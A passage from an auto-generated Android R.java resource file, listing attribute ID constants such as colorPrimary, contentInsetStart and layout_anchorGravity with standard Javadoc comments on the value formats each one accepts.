theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorBackgroundFloating=0x7f01008a;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorButtonNormal=0x7f010087;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorControlActivated=0x7f010085;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorControlHighlight=0x7f010086;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorControlNormal=0x7f010084;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorPrimary=0x7f010081;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorPrimaryDark=0x7f010082;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorSwitchThumbNormal=0x7f010088;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int commitIcon=0x7f0100f0;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetEnd=0x7f010017;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetEndWithActions=0x7f01001b;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetLeft=0x7f010018;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetRight=0x7f010019;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetStart=0x7f010016;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentInsetStartWithNavigation=0x7f01001a;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int contentScrim=0x7f0100ac;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int controlBackground=0x7f010089;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int counterEnabled=0x7f010114;
/** <p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int counterMaxLength=0x7f010115;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int counterOverflowTextAppearance=0x7f010117;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int counterTextAppearance=0x7f010116;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int customNavigationLayout=0x7f01000f;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int defaultQueryHint=0x7f0100ea;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int dialogPreferredPadding=0x7f01005a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int dialogTheme=0x7f010059;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>useLogo</code></td><td>0x1</td><td></td></tr>
<tr><td><code>showHome</code></td><td>0x2</td><td></td></tr>
<tr><td><code>homeAsUp</code></td><td>0x4</td><td></td></tr>
<tr><td><code>showTitle</code></td><td>0x8</td><td></td></tr>
<tr><td><code>showCustom</code></td><td>0x10</td><td></td></tr>
<tr><td><code>disableHome</code></td><td>0x20</td><td></td></tr>
</table>
*/
public static final int displayOptions=0x7f010005;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int divider=0x7f01000b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int dividerHorizontal=0x7f010067;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int dividerPadding=0x7f0100d2;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int dividerVertical=0x7f010066;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int drawableSize=0x7f0100c4;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int drawerArrowStyle=0x7f010000;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int dropDownListViewStyle=0x7f010079;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int dropdownListPreferredItemHeight=0x7f01005d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int editTextBackground=0x7f01006e;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int editTextColor=0x7f01006d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int editTextStyle=0x7f010098;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int elevation=0x7f01001c;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int errorEnabled=0x7f010112;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int errorTextAppearance=0x7f010113;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int expandActivityOverflowButtonDrawable=0x7f010020;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expanded=0x7f010026;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
*/
public static final int expandedTitleGravity=0x7f0100b2;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expandedTitleMargin=0x7f0100a5;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expandedTitleMarginBottom=0x7f0100a9;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expandedTitleMarginEnd=0x7f0100a8;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expandedTitleMarginStart=0x7f0100a6;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int expandedTitleMarginTop=0x7f0100a7;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int expandedTitleTextAppearance=0x7f0100aa;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>auto</code></td><td>-1</td><td></td></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>mini</code></td><td>1</td><td></td></tr>
</table>
*/
public static final int fabSize=0x7f0100cb;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int foregroundInsidePadding=0x7f0100cf;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int gapBetweenBars=0x7f0100c5;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int goIcon=0x7f0100ec;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int headerLayout=0x7f0100de;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int height=0x7f010001;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int hideOnContentScroll=0x7f010015;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int hintAnimationEnabled=0x7f010118;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int hintEnabled=0x7f010111;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int hintTextAppearance=0x7f010110;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int homeAsUpIndicator=0x7f01005f;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int homeLayout=0x7f010010;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int icon=0x7f010009;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int iconifiedByDefault=0x7f0100e8;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int imageButtonStyle=0x7f01006f;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int indeterminateProgressStyle=0x7f010012;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int initialActivityCount=0x7f01001f;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int insetForeground=0x7f0100e5;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int isLightTheme=0x7f010002;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int itemBackground=0x7f0100dc;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int itemIconTint=0x7f0100da;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int itemPadding=0x7f010014;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int itemTextAppearance=0x7f0100dd;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int itemTextColor=0x7f0100db;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int keylines=0x7f0100b9;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int layout=0x7f0100e7;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int layoutManager=0x7f0100e1;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int layout_anchor=0x7f0100bc;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>fill_horizontal</code></td><td>0x07</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>fill</code></td><td>0x77</td><td></td></tr>
<tr><td><code>clip_vertical</code></td><td>0x80</td><td></td></tr>
<tr><td><code>clip_horizontal</code></td><td>0x08</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
*/
public static final int layout_anchorGravity=0x7f0100be;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int layout_behavior=0x7f0100bb;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>pin</code></td><td>1</td><td></td></tr>
<tr><td><code>parallax</code></td><td>2</td><td></td></tr>
</table>
*/
public static final int layout_collapseMode=0x7f0100b4;
/** <p>Must be a floating point value, such as "<code>1.2</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
